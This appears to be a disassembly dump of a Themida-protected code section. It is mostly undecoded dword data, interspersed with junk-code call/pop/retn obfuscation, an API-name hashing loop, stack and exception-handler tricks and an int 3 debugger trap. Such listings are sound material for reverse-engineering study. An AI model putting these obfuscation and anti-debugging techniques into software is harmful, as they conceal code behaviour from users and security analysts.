6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0F3D6C353h, 47DF7182h, 5409D14Eh dd 3985C7FCh, 1062B6Fh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 3EA6C357h dd 179C7738h, 0F829ED7h, 683h, 0E99D8900h, 60062803h, 0E59D8B60h dd 0E906280Eh, 0Ah, 0D42E3438h, 32BF8A0Ah, 0F6104E4h, 684h dd 9B52900h, 0E9062801h, 27h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 20C35040h, 0C595893Bh, 62801h dd 0B8000000h, 1, 71228587h, 0C00B062Bh, 0B5FFF675h, 6280D25h dd 6F31858Fh, 206A062Bh, 95FFFF6Ah, 6282D35h, 1851BD83h dd 74000628h, 0FF006A08h, 28046595h, 61BD8306h, 1062809h dd 80680D74h, 6A000000h, 3595FFFFh, 6A06282Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 20FEC357h, 0C36B708Ch, 60D5F6F2h, 0E988DC80h, 12h, 0D80FEC60h dd 7D6EA7ECh, 80F33C60h, 0F49D38Eh, 6A61475Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 4E00C352h, 0B8666074h, 29617D24h, 280B7D85h, 0B806h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 9589FDC3h, 62805D5h, 2824548Bh, 68A0Fh, 0BD310000h dd 6282A95h, 14698589h, 6A0628h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 54EA24C3h, 0BEFC1904h dd 3Ch, 18E0Fh, 0FCF50000h, 24247403h, 68A0Fh, 8D890000h dd 6280ED1h, 6AAD66h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 6705B5C3h, 0E9A68B49h, 8, 3D758E8Ah dd 2EC1B25Ch, 0E99D8B60h, 53062824h, 8F0Fh, 61590000h dd 24244403h, 870F90F8h, 0Ch, 6850Fh, 840F0000h, 0 ; --------------------------------------------------------------------------- push eax jmp loc_580608 ; --------------------------------------------------------------------------- dw 9305h dd 476E1196h, 1DEDC057h, 2EDE7298h ; --------------------------------------------------------------------------- loc_580608: ; CODE XREF: Themida_:005805F5j nop push 0 push ebx call sub_580614 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580614 proc near ; CODE XREF: Themida_:0058060Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_580614 endp ; --------------------------------------------------------------------------- dd 95A5A5F5h, 812A595Eh, 8BF99ACEh, 6A7840h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0C7C5DBC3h dd 39BD83E2h, 62B6Fh, 0FB850Fh, 0CE90000h, 0DB000000h dd 0AB99B6F7h, 50EEB2C3h, 89249E21h, 2817F1BDh, 0F605006h dd 387h, 0D78B6600h, 24048961h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 24C35646h, 10E9h, 3DF94D00h dd 0F114DEB8h, 96F40EBh, 2BB820AAh, 448BF522h, 6A2C24h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 97D33CC3h, 0F9D8F285h, 54D9D89h, 0E9500628h, 13h, 154457EBh dd 1A8BAD16h, 9BED5E81h, 0D6FF261Dh, 896F264Dh, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 344886C3h, 890FBE3Eh, 1, 65B589FCh, 8D062817h, 2B420385h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 8FD37432h, 225D9501h, 0D0FF0628h, 244403FCh dd 55006A28h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 8D314F9Dh, 6282EE9h, 14959D89h, 89600628h dd 282235BDh, 6850F06h, 23000000h, 28333985h, 408B6106h dd 51006A18h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0B582CF10h, 89409382h, 281A4585h, 35858906h dd 29062B6Fh, 2834E595h, 6A5806h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0BB17A0C3h, 0E905C1CBh dd 0Fh, 0D76C1243h, 888A1Dh, 0CDDCBC3Ah, 8BC28BF5h, 6A7870h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0AE2D7DC3h, 0BD896062h, 6280849h, 1CC68361h, 29B5BD89h dd 6A960628h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 178FC357h, 21B50150h, 81062802h dd 24247Ch, 0F100000h, 0FF87h, 0BD8B6000h, 6280491h, 50D8D29h dd 50610628h, 0CA8B6060h, 6661C68Bh, 610917BFh, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0D5A1C351h, 66681C5Bh, 87DFB1FBh, 8E9h, 0A917EE00h dd 85DA0120h, 619D8907h, 8B062807h, 9282444h, 28130995h dd 12E99006h, 32000000h, 6136AC2Ah, 0F4259CADh, 5F23684Fh dd 2C8B1F0Bh, 66605056h, 61F250BFh, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0C0EC192h dd 2C355654h, 858D23D8h, 62B4203h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 10C35747h, 0F1DBAE5h, 9E9E3h dd 0A2EE0000h, 0E8ED512h, 0FF167643h, 52006AD0h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 41A81C9Bh, 0F8481C3Bh, 52006A96h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0B1BD2910h dd 3062820h, 6A242474h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 3F6CC356h, 8D97D716h dd 2834ADBDh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 6F3D8671h, 0B531BA2Ch, 6282331h dd 0A19D8B60h, 8B062824h, 280251BDh, 0FAD6106h, 683h, 31BD8900h dd 8106282Dh, 24247Ch, 0F100000h, 0F087h, 0B589F500h, 6282DB5h dd 0DE86090h, 0B4000000h, 6C2FAC39h, 52B2FFE2h, 0B7208FADh dd 0BF5ABE66h, 0DE85Ah, 0A1560000h, 0D55993B6h, 0D9AB5F83h dd 503C086Fh, 5A310F52h, 50615958h, 8E9h, 21208900h, 3F99E28Eh dd 9589903Dh, 6281781h, 2824448Bh, 0EE9h, 0E4812000h, 76E3D48Dh dd 884CB1F6h, 50EBCD22h, 9E9h, 9DFD300h, 0AF4DA9BAh, 489E294h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0A5A7C958h, 34498D01h, 8C0F0628h, 0Ch, 6840Fh dd 9D310000h, 6282539h, 4203858Dh, 6A062Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0A544E7C3h dd 310D321Eh, 0F870FC8h, 0E9000000h, 0Ah, 0C4176339h, 0FF71A287h dd 0D0FFE44Bh, 244403FCh, 68A0F24h, 1000000h, 282C259Dh dd 6AAB06h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0E99084C3h, 14h, 32187F1Fh, 29A65137h, 0C3E1D250h dd 112EDB20h, 6817D796h, 0FE9h, 0F5F21000h, 885E625Ah dd 12084594h, 9E9F21B3h, 0FA81h, 820F0001h, 777h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0BAC35242h, 0F9119BE1h dd 53812969h, 0BD8DF875h, 6281181h, 0BDBD2B60h, 61062824h dd 51006AADh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 737F00B3h, 0C778BD07h, 11458D09h, 8F0F0628h dd 0Bh, 6E9h, 0A5568400h, 81316A98h, 24247Ch, 0F100000h dd 0F787h, 0BE900h, 7D1E0000h, 41F6C650h, 0B2298879h, 525050ECh dd 10E9h, 0D6E0AE00h, 7A053678h, 0FCD1E26h, 211EB213h dd 60310F1Ch, 89585A61h, 8F0F2404h, 1, 24448BFCh, 51006A28h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0D0B911DBh, 740B0635h, 17870F90h, 50000000h, 880F52h dd 0F000000h, 6E931h, 0A50A0000h, 1C7EFA84h, 0F50585Ah dd 2183h, 0E9525000h, 10h, 2A2DE1D4h, 11B67F1Dh, 27E7DC0Eh dd 1F7FFC32h, 870F310Fh, 0 ; --------------------------------------------------------------------------- pop edx pop eax nop push 0 push ecx call sub_580C8E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580C8E proc near ; CODE XREF: Themida_:00580C86p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_580C8E endp ; --------------------------------------------------------------------------- jnp short locret_580CC9 mov ebp, 6283319h lea eax, [ebp+62B4203h] stc cmc call eax push 0 push ebp call sub_580CBA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580CBA proc near ; CODE XREF: Themida_:00580CB2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp locret_580CC9: ; CODE XREF: Themida_:00580C9Ej retn sub_580CBA endp ; --------------------------------------------------------------------------- mov esi, 18580D0h xchg eax, ebp or [eax+ebp], edx push es add eax, [esp+24h] mov [ebp+6280711h], eax push eax jo loc_580CEB pusha mov cl, dl mov dh, 0A6h popa loc_580CEB: ; CODE XREF: Themida_:00580CDFj mov [esp], eax or [ebp+62818ADh], eax pusha add [ebp+62822C1h], ecx mov esi, 1E9A40FBh popa stosd push 0 push ebp call sub_580D0D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580D0D proc near ; CODE XREF: Themida_:00580D05p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_580D0D endp ; --------------------------------------------------------------------------- db 62h, 0F2h, 3Fh ; --------------------------------------------------------------------------- fsub qword ptr [esi-59h] cmp [ebp+282695BDh], cl push es push 0 push esi call sub_580D35 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580D35 proc near ; CODE XREF: Themida_:00580D2Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_580D35 endp ; --------------------------------------------------------------------------- add bl, [eax] pop edi pusha mov bx, 92D6h pusha jmp loc_580D60 ; --------------------------------------------------------------------------- db 55h dd 33E0F1BBh, 0F95A12B9h, 4EBA9C2Ch ; --------------------------------------------------------------------------- loc_580D60: ; CODE XREF: Themida_:00580D4Ej mov ecx, [ebp+6280D59h] popa popa lodsd cld cmp dword ptr [esp+28h], 10000000h ja loc_580E4E ja loc_580D88 pusha mov ecx, [ebp+62832BDh] mov al, 0FBh popa loc_580D88: ; CODE XREF: Themida_:00580D78j push eax jmp loc_580D9F ; --------------------------------------------------------------------------- dw 0FD79h dd 8E84A9E3h, 1BB9CA0Fh, 66194D1Bh ; --------------------------------------------------------------------------- sbb bl, dh inc esi loc_580D9F: ; CODE XREF: Themida_:00580D89j mov [esp], eax add [ebp+6281695h], esi mov eax, [esp+2Ch] mov [ebp+6280125h], ecx nop pusha push ebx pusha popa pop edx call near ptr loc_580DBD+5 loc_580DBD: ; CODE XREF: Themida_:00580DB8p adc esp, 5F72AD47h popa push eax jmp loc_580DD3 ; --------------------------------------------------------------------------- dw 1BC7h dd 0AF10CD59h db 0B1h, 0ABh, 1Bh ; --------------------------------------------------------------------------- loc_580DD3: ; CODE XREF: Themida_:00580DC5j nop push 0 push ebp call sub_580DDF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580DDF proc near ; CODE XREF: Themida_:00580DD7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_580DDF endp ; --------------------------------------------------------------------------- db 31h ; --------------------------------------------------------------------------- mov bl, 0Eh jz loc_580E03 jmp loc_580E03 ; --------------------------------------------------------------------------- db 0F0h, 68h, 0FAh db 9Ah, 69h, 74h ; --------------------------------------------------------------------------- loc_580E03: ; CODE XREF: Themida_:00580DF2j ; Themida_:00580DF8j lea eax, [ebp+62B4203h] jmp loc_580E1F ; --------------------------------------------------------------------------- dw 0BB9Ah dd 0FF4B98ECh, 630027A5h, 0E667CCCCh ; --------------------------------------------------------------------------- jle short loc_580E6E xchg eax, ecx loc_580E1F: ; CODE XREF: Themida_:00580E09j mov [ebp+6280769h], edx call eax jmp loc_580E3A ; --------------------------------------------------------------------------- dd 0D4980FACh, 912BDD4Ch, 4AE749DBh ; --------------------------------------------------------------------------- jnb short loc_580E9A loc_580E3A: ; CODE XREF: Themida_:00580E27j jb loc_580E4E pusha mov [ebp+62804F9h], esi sub [ebp+628094Dh], edi popa loc_580E4E: ; CODE XREF: Themida_:00580D72j ; Themida_:loc_580E3Aj add eax, [esp+28h] push 0 push eax call sub_580E5D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580E5D proc near ; CODE XREF: Themida_:00580E55p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_580E5D endp ; --------------------------------------------------------------------------- db 0E6h ; --------------------------------------------------------------------------- loc_580E6E: ; CODE XREF: Themida_:00580E1Cj mov [esi+ecx*4], cl stosd push 0 push edi call sub_580E7D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580E7D proc near ; CODE XREF: Themida_:00580E75p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_580E7D endp ; --------------------------------------------------------------------------- db 3Dh, 0F8h, 60h dd 3CABB866h, 6126D380h db 89h, 95h ; --------------------------------------------------------------------------- loc_580E9A: ; CODE XREF: Themida_:00580E38j pop ebp and ch, [eax] push es pop esi loc_580E9F: ; CODE XREF: Themida_:00580F3Dj dec dword ptr [ebp+62B6F35h] cmp dword ptr [ebp+62B6F35h], 0 jnz short loc_580EB8 xor eax, eax lea esi, [ebp+62B7EE7h] jmp esi ; --------------------------------------------------------------------------- loc_580EB8: ; CODE XREF: Themida_:00580EACj push esi lodsd cmp dword ptr [esp+28h], 10000000h ja short loc_580ED2 push eax mov eax, [esp+2Ch] push eax lea eax, [ebp+62B4203h] call eax loc_580ED2: ; CODE XREF: Themida_:00580EC2j add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+62B6F31h] test al, al jz short loc_580EE7 cmp al, [edi] jnz short loc_580F33 loc_580EE7: ; CODE XREF: Themida_:00580EE1j push edi xor al, al loc_580EEA: ; CODE XREF: Themida_:00580EEBj scasb jnz short loc_580EEA pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_580EF7: ; CODE XREF: Themida_:00580F20j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_580F06: ; CODE XREF: Themida_:00580F19j shr bx, 1 rcr ax, 1 jnb short loc_580F17 xor ax, 5041h xor bx, 5449h loc_580F17: ; CODE XREF: Themida_:00580F0Cj dec dh jnz short loc_580F06 xor ecx, eax xor edx, ebx dec edi jnz short loc_580EF7 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_580F42 loc_580F33: ; CODE XREF: Themida_:00580EE5j pop esi add esi, 4 inc dword ptr [ebp+6281469h] jmp loc_580E9F ; --------------------------------------------------------------------------- loc_580F42: ; CODE XREF: Themida_:00580F31j pop esi jns loc_580F57 pusha mov edi, [ebp+62820B1h] or edx, [ebp+62806E5h] popa loc_580F57: ; CODE XREF: Themida_:00580F43j pusha call near ptr loc_580F64+1 add [edi+1A332BA7h], bl cdq loc_580F64: ; CODE XREF: Themida_:00580F58p xchg ecx, [edi] lea eax, [eax] ; --------------------------------------------------------------------------- dd 59000000h, 1B98523h, 89610628h, 280C6DB5h, 69858B06h dd 6A062814h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 466FC356h, 19556F4h, 566A37F5h dd 6AE0D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 13A17DC3h, 3585297Ch, 3062805h, 28269585h dd 0F19D8906h, 2B062800h, 53006AF6h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0DCF414F3h dd 15830F85h, 0E9000000h, 10h, 99C95256h, 62DDCD54h, 6B0EE677h dd 5A723CD1h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 9802A6A8h, 0EE450A91h, 5E9CC21h dd 2E000000h, 6499B9B8h, 6AAD66h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0CFF9CFC3h, 78E1D9D5h dd 0B59D899Bh, 0C1062806h, 0E86002E0h, 0Eh, 0C5BEBCFCh dd 3171FC4Ch, 1774D684h, 0B70F271Fh, 7E95FCFh, 44000000h dd 10BF38B6h, 3612A01h, 2834AD85h, 65BD0106h, 96062803h dd 8589FC60h, 62804F9h, 0CE961h, 0D7F90000h, 43A69B40h dd 6892DE0Eh, 29ADB88Ch, 281ED985h, 7C81F906h, 2424h, 870F1000h dd 136h, 22E99529h, 0F500628h, 88Ch, 2830F00h, 60000000h dd 24048961h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 14C35242h, 6036FA0Ch, 1A45952Bh, 8D8B0628h, 6282029h dd 24448B61h, 57006A28h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 24765127h, 0F66F47F6h, 0BE960A8h dd 5B000000h, 0FC4A36F7h, 25DF5F57h, 12E80D15h, 0D8000000h dd 0A235A43Ah, 911C3207h, 0C69AE9A6h, 3A2AF8F8h, 96F1811Eh dd 59288C5Bh, 1B58961h, 50062813h, 0CE95250h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 31h, 26h, 5Bh dd 0D1F9E977h, 0F69C902h, 6800F31h, 50000000h, 5A310F52h dd 89585A58h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 6E07CEC3h, 0D6686C9Dh, 10E9h, 7FC3A600h dd 198EA6DCh, 0EEAA57A1h, 374B50F8h, 699D8970h, 8D062821h dd 2B420385h, 39952906h, 0FF062807h, 8D8960D0h, 6280F99h dd 14E9h, 635C1C00h, 17CF4B48h, 0F687D890h, 1D5A7E10h dd 3C70C6Fh, 440361E0h, 0B5892424h, 6281371h, 13E9h, 13782900h dd 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 0C65C1114h, 1C244489h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2EC35545h dd 51BD8960h, 6006280Fh, 0B4C9BF0Fh, 0C6616145h, 280D2585h dd 85C70006h, 62B7122h, 0 ; --------------------------------------------------------------------------- mov dword ptr [ebp+62B6F39h], 0 mov [ebp+6282589h], esi push 0 push eax call sub_581287 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581287 proc near ; CODE XREF: Themida_:0058127Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_581287 endp ; --------------------------------------------------------------------------- test ch, dh jb short loc_5812DF jmp loc_5812A5 ; --------------------------------------------------------------------------- dd 8E53C4F3h ; --------------------------------------------------------------------------- pushf loc_5812A5: ; CODE XREF: Themida_:0058129Bj popa push 0 push ebp call sub_5812B1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5812B1 proc near ; CODE XREF: Themida_:005812A9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5812B1 endp ; --------------------------------------------------------------------------- db 2Eh, 0Fh, 8Fh dd 6, 29BD8589h, 8C20628h, 4DBD0100h, 8B062822h, 2834AD85h ; --------------------------------------------------------------------------- push es push 0 loc_5812DF: ; CODE XREF: Themida_:00581299j push ebp call sub_5812E8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5812E8 proc near ; CODE XREF: Themida_:005812E0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5812E8 endp ; --------------------------------------------------------------------------- dd 0E9DDDD36h, 6, 0FB6A5A2Dh, 0F4A2BA5h, 68Ch, 0FD9D8900h dd 6B06282Ch, 0BE904D2h, 4B000000h, 7E4880DDh, 664C6742h dd 0C203A7D7h, 1890Fh, 96F80000h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 80C35242h, 6AADF8h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0BB525C3h, 4ECB823Dh, 60CBF50Dh, 0DDB6BE66h, 1369958Bh dd 81610628h, 24247Ch, 0F100000h, 0FF87h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 860FF944h, 6, 2DD9B589h, 60900628h, 0DA77A4B8h, 0FA8B6609h dd 8B0F5061h, 16h, 11E9h, 35E67C00h, 199CA1BCh, 0B0CA94F7h dd 0C07D0E20h, 6A90A393h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 38C5C350h, 29F3B3A4h dd 2801EDBDh, 24448B06h, 57006A28h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0B589F2CEh, 6282729h dd 12820F50h, 50000000h, 850F52h, 0F000000h, 880F31h, 5A000000h dd 24048958h, 0FE9h, 221F6C00h, 0B7F1080Ah, 0C16F4817h dd 0C8219241h, 4203858Dh, 8D0F062Bh, 0Dh, 0ABB1BB60h, 858B76C2h dd 6281001h, 0E9D0FF61h, 10h, 22E07A47h, 0D6C10AF5h, 3E3D4F6Fh dd 0F630B205h, 0FFFD79E9h, 18D0FFFh, 0F9000000h, 0DE9h dd 0DEAD7B00h, 33337277h, 0EF773182h, 858DC197h, 62B85B0h dd 5D8D0360h, 6106282Bh, 8B666090h, 0AC5BB8D3h, 50616042h dd 8E95250h, 0CC000000h, 2797554Ch, 0FE278E2h, 12820F31h dd 0E9000000h, 0Dh, 151B896h, 9D519C99h, 6D266B25h, 90585A02h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0F5C35141h dd 7E860FFh, 0 dd 858FB8F4h, 61603DBAh, 14E859h, 479B0000h, 3F91C7BAh dd 0E2E95E65h, 8DC6E95Ah, 311E82AEh, 85895DBBh, 6282969h dd 0FF64615Bh, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 7C8A89EDh, 10819424h dd 24048BD3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0DAC35242h, 958942E0h, 6281125h, 18E18589h, 6A0628h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0AD2443C3h, 258964F8h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5815C7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5815C7 proc near ; CODE XREF: Themida_:005815BFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5815C7 endp ; --------------------------------------------------------------------------- db 64h ; --------------------------------------------------------------------------- push ecx adc eax, 0E141D91h sub [eax], ecx mov es:[ebp+6282729h], edi lea eax, [ebp+62B8342h] jmp loc_5815FF ; --------------------------------------------------------------------------- dw 621h dd 8F5A803Fh, 91F05017h db 12h, 22h, 0FFh ; --------------------------------------------------------------------------- loc_5815FF: ; CODE XREF: Themida_:005815EDj pusha call near ptr loc_581613+1 pop eax xor cs:[edx-2Dh], dl sub eax, 0AD730D34h push es xor eax, [edi] std loc_581613: ; CODE XREF: Themida_:00581600p adc [edi], ecx mov bh, 0F6h pop ecx jmp loc_581630 ; --------------------------------------------------------------------------- db 0FDh, 2, 3Dh dd 62356433h, 0DF11E99Fh, 796EEBA7h, 0E84B532Fh ; --------------------------------------------------------------------------- loc_581630: ; CODE XREF: Themida_:00581618j popa mov [eax+1], esp push 0 push edx call sub_58163F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58163F proc near ; CODE XREF: Themida_:00581637p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_58163F endp ; --------------------------------------------------------------------------- adc [edi-17h], dh int 3 ; Trap to Debugger add al, [eax] add [edx+0], ch push eax call sub_581661 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581661 proc near ; CODE XREF: Themida_:00581659p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_581661 endp ; --------------------------------------------------------------------------- lahf db 3Eh mul dword ptr [ebx] pop esp mov eax, 0DB8B2AA7h call $+5 pop ebp sub ebp, 62B833Bh mov esp, 12FF9Ch cmp dword ptr [ebp+6280961h], 0 jz short loc_5816AD mov eax, [ebp+6281259h] mov byte ptr [eax], 0 mov eax, [ebp+6280D09h] mov byte ptr [eax], 0 call dword ptr [ebp+6282EFDh] loc_5816AD: ; CODE XREF: Themida_:00581693j pusha push dword ptr [ebp+62B6B3Dh] lea eax, [ebp+62B6B41h] push eax lea eax, [ebp+62B6D39h] push eax call dword ptr [ebp+6280DF5h] add esp, 0Ch popa push 0 push edi call sub_5816D7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5816D7 proc near ; CODE XREF: Themida_:005816CFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5816D7 endp ; --------------------------------------------------------------------------- jno short loc_581749 mov si, 7FD4h stc popa push 0 push ebp call sub_5816FA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5816FA proc near ; CODE XREF: Themida_:005816F2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5816FA endp ; --------------------------------------------------------------------------- inc edx retf ; --------------------------------------------------------------------------- dd 0EF90E48Eh, 8DCF4716h, 2B6D39B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 1D2B02Ch, 0CEE3EC94h dd 8DF94CC4h, 282FD5BDh, 5BD3106h db 23h ; --------------------------------------------------------------------------- loc_581749: ; CODE XREF: Themida_:005816E7j sub [esi], al cmp byte ptr [esi], 0 jz loc_5817BB push 0 push ecx call sub_58175F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58175F proc near ; CODE XREF: Themida_:00581757p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_58175F endp ; --------------------------------------------------------------------------- db 0D6h dd 0C9889955h, 0C23544F7h, 14E9FAh, 0AE6F0000h, 0E1E2868Ch dd 8FA597F3h, 0CF275AA8h, 42E9FE33h, 6AA43658h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 1680C353h, 0FFFF96E9h, 0D98D89FFh ; --------------------------------------------------------------------------- and ch, [eax] push es loc_5817BB: ; CODE XREF: Themida_:0058174Ej mov eax, 0 push 0 push edi call sub_5817CB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5817CB proc near ; CODE XREF: Themida_:005817C3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5817CB endp ; --------------------------------------------------------------------------- db 0E3h dd 0DDCFF130h, 9212217Ch, 13E9h, 2E463900h, 0F26C1F56h dd 0D02500D9h, 0E4529341h, 85BE7C24h, 57006AAAh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 50E10109h, 0B8B43F5Ah, 7, 12E9h, 73D6BD00h, 5FA3324Ch dd 4288EC8Bh, 3733B681h, 0C7640F48h, 2822B585h, 106h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0D5DC642Ch, 0E81A00A8h, 95D48060h, 5DE8B966h, 6E8D8D61h dd 6A06284Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 7D86C357h, 3149CD88h, 0AE95ACCh dd 0A000000h, 0F64B81F1h, 6129093Ch, 6AE1FF9Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0D0FCC351h, 5E03859Eh, 8960A6BFh, 2810F9BDh, 0BE906h dd 0C7C80000h, 21C5254Fh, 6B14A879h, 0AE96197h, 0E4000000h dd 4CD568C1h, 0DDD55BECh, 245C8B3Ah, 0E8550Ch, 5D000000h dd 85BAED81h, 838B062Bh, 0B8h, 6B3D8589h, 858D062Bh, 62B8334h dd 0B88389h, 